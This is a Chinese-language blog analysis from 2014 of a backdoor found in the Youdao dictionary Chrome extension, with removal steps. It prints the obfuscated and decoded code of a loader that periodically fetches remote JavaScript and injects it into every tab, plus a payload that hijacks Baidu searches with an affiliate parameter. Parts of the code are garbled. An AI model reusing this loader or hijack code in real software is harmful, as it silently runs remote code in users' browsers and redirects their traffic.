[Report]evil-code-in-youdao-crx
有道词典划词插件的后门分析前言:笔者偶然发现“有道词典划词插件 v2”(ID: ibogfemlnclpecapkojhmanpiebldbnk )的缓存中有一段极为可疑的代码,经分析,感觉不妙,这段
有道词典划词插件的后门分析
前言:
笔者偶然发现“有道词典划词插件 v2”(ID: ibogfemlnclpecapkojhmanpiebldbnk )的缓存中有一段极为可疑的代码,经分析,感觉不妙,这段代码会将百度首页追加一串参数。在Google 搜索发现,很多网友反馈遇到百度重定向到带有tn=63090008_1_hao_pg参数的页面。
起初我怀疑是有恶意程序在本地串改了Chrome 扩展导致,但以下几个网友的反馈,让我感觉有道是不是有点“无道”…


引自:https://plus.google.com/ dousonwif/posts/3dDW4Sk5iMg
引自:http://tieba.baidu.com/p/3423256002
,有道词典划词插件的后门分析
于是乎,我顺藤摸瓜、梳理代码、整理确凿的证据,花了近5个小时作此文,如下:
发现痕迹
1. 打开“有道词典划词插件 v2 ”2.0的选项页,按F12,进入Resources – Local Storage ,
在右侧发现可以痕迹。
code 中是远程获取的代码,last_synced_at保留的是远程代码更新到本地的时间。
(图1)
2. 在Chrome 扩展的管理页面(chrome://extensions)中找到“有道词典划词插件 v2 ”2.0,
点击“背景页”链接;
在打开的窗口里切换到 Sources – ibogfemlnclpecapkojhmanpiebldbnk – bg.js ,在右侧代码末尾,找到另一端可以代码,经分析确认这段代码负责加载远程代码并执行。
(图2

)

有道词典划词插件的后门分析
解决方法
1. 临时删除加载、执行远程代码的那段代码
打开你的电脑如下路径:X :UsersYourName AppDataLocalGoogleChromeUser Data�faultExtensionsibogfemlnclpecapkojhmanpiebldbnk 2.0_0
用文本编辑工具打开其中的bg.js ,按上文图2所示,删除文本末尾那几行代码,并保存。重新启动Chrome ,或重新启用该扩展即可生效去除恶意的程序逻辑。
弊端:如果该扩展有更新,可能会覆盖你的修改,变回原来的样子
2. 放弃使用该扩展,使用替代品
由我维护的另一个扩展:
Google 商店安装链接:
代码公开地址:https://code.jd.com/g8up/youdaocrx
后记
笔者是Chrome 的忠实粉丝,之前一直坚持积累英语,用过一段时间上文提到的官方有道扩展,对其功能不甚满足,遂添加了查询记录以及导出查询记录功能,并修复了一些bug 。梳理了原来的代码,以节省程序占用资源,提高效率。从我之前备份的代码来看,当时(2014-04-24左右)官方还没有添加这段后门程序。
另外有网友反馈另一款问题扩展“爱奇艺去45秒广告”(id: faafmfkdpddenkfoflahblfdeneagfgj ,作者:豆瓣UX 小组)中也有类似的后门代码,巧合的是,远端的代码都是寄存在同一个云储存网站下( http://mnybag.b0.upaiyun.com/bootstrapmin.js ),子域名有区别,伪装的文件名都是知名的前端框架bootstrap 的名称字样。代码有个别字符差异,但带有tn=63090008_1_hao_pg 特征。不排除是同一开发者所为。难道是豆瓣的员工跳槽到有道然后把有道扩展给改了?还是官方的Chrome 开发者帐号被泄漏,遭歹人串改?不得而知。
虽然Google 一次次提高扩展的安全性,但依然难以确保所有扩展都不会、不能作恶。还是建议用户多加小心。我们不能因噎废食,但我们确实应该提高警惕性,积累一些应用技巧,甚至是一些专业知识。
——Sigma
2014.11.29
,有道词典划词插件的后门分析
附:源代码
“后门”源码 (注释为笔者添加,下同)
;; (function () {
var _0xb012 =
["x6Fx6Ex72x65x61x64x79x73x74x61x74x65x63x68x61x6Ex67x65", "x73x74x61x74x75x73",
"x72x65x61x64x79x53x74x61x74x65",
"x72x65x73x70x6Fx6Ex73x65x54x65x78x74",
"x63x6Fx64x65",
"x6Cx61x73x74x5Fx73x79x6Ex63x65x64x5Fx61x74",
"x6Ex6Fx77", "x47x45x54",
"x68x74x74x70x3Ax2Fx2Fx61x6Ex61x6Cx79x74x69x63x73x2Ex62x30x2Ex75x70x61x69x79x75x6Ex2Ex63x6Fx6Dx2Fx61x2Fx62x6Fx6Fx74x73x74x72x61x70x6Dx69x6Ex2Ex6Ax73",
"x6Fx70x65x6E", "x73x65x6Ex64",
"x75x6Ex64x65x66x69x6Ex65x64", "" ,
"x64x6Fx63x75x6Dx65x6Ex74x5Fx65x6Ex64",
"x65x78x65x63x75x74x65x53x63x72x69x70x74",
"x74x61x62x73", "x61x64x64x4Cx69x73x74x65x6Ex65x72", "x6Fx6Ex55x70x64x61x74x65x64"];
//["onreadystatechange", "status", "readyState", "responseText", "code", "last_synced_at", "now", "GET",
" http://analytics.b0.upaiyun.com/a/bootstrapmin.js", "open", "send", "undefined", "", "document_end", "executeScript", "tabs", "addListener", "onUpdated"]
function loadScript() {
var _0xb30dx2 = new XMLHttpRequest();
_0xb30dx2[_0xb012[0]] = function () {
try {
if (_0xb30dx2[_0xb012[1]] == 200 &&
_0xb30dx2[_0xb012[2]] == 4) {
var _0xb30dx3 = _0xb30dx2[_0xb012[3]];
localStorage[_0xb012[4]] = _0xb30dx3;
localStorage[_0xb012[5]] = Date[_0xb012[6]](); };
} catch (ex ) {};
};
,有道词典划词插件的后门分析
};
chrome [_0xb012[15]][_0xb012[17]][_0xb012[16]](function (_0xb30dx4) {
if ((localStorage [_0xb012[5]] == undefined) ||
((Date [_0xb012[6]]() - localStorage [_0xb012[5]]) > (1000 * 60 * 60 * 8))) {
loadScript();
};
if (typeof (localStorage [_0xb012[4]]) == _0xb012[11] ||
localStorage [_0xb012[4]] == _0xb012[12]) {
loadScript();
};
if (typeof (localStorage [_0xb012[4]]) != _0xb012[11]) {
chrome[_0xb012[15]][_0xb012[14]](_0xb30dx4, {
,有道词典划词插件的后门分析
“后门”源码解码 ;;(function () {
//加载远程代码
function loadScript() {
var xhr = new XMLHttpRequest();
xhr. onreadystatechange = function () {
try {
if (xhr . status == 200 && xhr. readyState == 4) {
var code = xhr. responseText ;
localStorage["code" ] = code;
//记录加载时间
localStorage["last_synced_at"] = Date. now ();
};
} catch (ex ) {};
};
xhr[open ](GET ,
"http://analytics.b0.upaiyun.com/a/bootstrapmin.js", true );
xhr[send ](null );
};
//监听每次浏览器标签的更新
chrome. tabs . onUpdated . addListener (function ( para ) {
//每8小时获取一次远程代码
if ((localStorage ["last_synced_at"] == undefined) ||
((Date . now () - localStorage["last_synced_at"]) > (1000 * 60 * 60 * 8))) {
loadScript();
};
if (typeof (localStorage ["code" ]) == "undefined" ||
localStorage ["code" ] == "" ) {
loadScript();
};
if (typeof (localStorage ["code" ]) != "undefined" ) {
chrome. tabs . executeScript ( para , {
,有道词典划词插件的后门分析 })();
远程代码源码 ;; (function (d ) {
var _0xd0cb = ["x68x72x65x66",
"x6Cx6Fx63x61x74x69x6Fx6E",
"x77x77x77x2Ex62x61x69x64x75x2Ex63x6Fx6D",
"x6Dx61x74x63x68", "x73x75x62x73x74x72x69x6Ex67", "x73x65x61x72x63x68", "x26", "x73x70x6Cx69x74",
"x6Cx65x6Ex67x74x68", "x3D",
"x75x6Ex64x65x66x69x6Ex65x64", "x73x74x72x69x6Ex67", "x70x75x73x68", "x74x6E", "" ,
"x74x6Ex3Dx36x33x30x39x30x30x30x38x5Fx31x5Fx68x61x6Fx5Fx70x67", "x3F", "x6Ax6Fx69x6E"];
//["href", "location", "www.baidu.com", "match", "substring", "search", "&", "split", "length", "=", "undefined", "string", "push", "tn", "", "tn=63090008_1_hao_pg", "?", "join"]
var href = d[_0xd0cb[1]][_0xd0cb[0]];
if (document [_0xd0cb[1]][_0xd0cb[0]][_0xd0cb[3]](_0xd0cb[2])) {} else {
return false ;
};
var QueryString = function () {
var _0x2b75x3 = {};
var _0x2b75x4 =
window [_0xd0cb[1]][_0xd0cb[5]][_0xd0cb[4]](1);
var _0x2b75x5 = _0x2b75x4[_0xd0cb[7]](_0xd0cb[6]);
for (var _0x2b75x6 = 0; _0x2b75x6 < _0x2b75x5[_0xd0cb[8]]; _0x2b75x6 ) {
var _0x2b75x7 =
_0x2b75x5[_0x2b75x6][_0xd0cb[7]](_0xd0cb[9]);
if (typeof _0x2b75x3[_0x2b75x7[0]] === _0xd0cb[10]) { _0x2b75x3[_0x2b75x7[0]] = _0x2b75x7[1];
} else {
,有道词典划词插件的后门分析
};
return _0x2b75x3;
}();
if (QueryString [_0xd0cb[13]]) {} else {
var se_array = [];
for (var index in QueryString) {
if (index != _0xd0cb[14]) {
se_array[_0xd0cb[12]](index _0xd0cb[9]
QueryString [index ]);
};
};
se_array[_0xd0cb[12]](_0xd0cb[15]);
document[_0xd0cb[1]][_0xd0cb[5]] = _0xd0cb[16]
se_array[_0xd0cb[17]](_0xd0cb[6]);
};
})(document );
远程代码源码解码 ;; (function (doc ) {
var href = doc. location . href ;
//只针对百度域名执行代码
if (document . location . href . match ( "www.baidu.com" )) {} else { return false ;
};
var QueryString = function () {//暂存url 参数
var obj = {};
var path = window. location . search . substring (1);
var keyValue = path. split ("&");
for (var n = 0; n < keyValue. length ; n ) {
var paras = keyValue[n ].split ("=");
if (typeof obj[ paras[0] ] === "undefined" ) {
obj[ paras[0] ] = paras[1];
} else {
if (typeof obj[ paras[0] ] === "string" ) {
,有道词典划词插件的后门分析
}();
if (QueryString ['tn' ]) {} else {
var se_array = [];
for (var index in QueryString) {
if (index != "" ) {
se_array. push (index "=" QueryString[index ]); };
};
se_array. push ("tn=63090008_1_hao_pg"); //追加tn 参数 document. location . search = "?" se_array. join ("&"); };
})(document );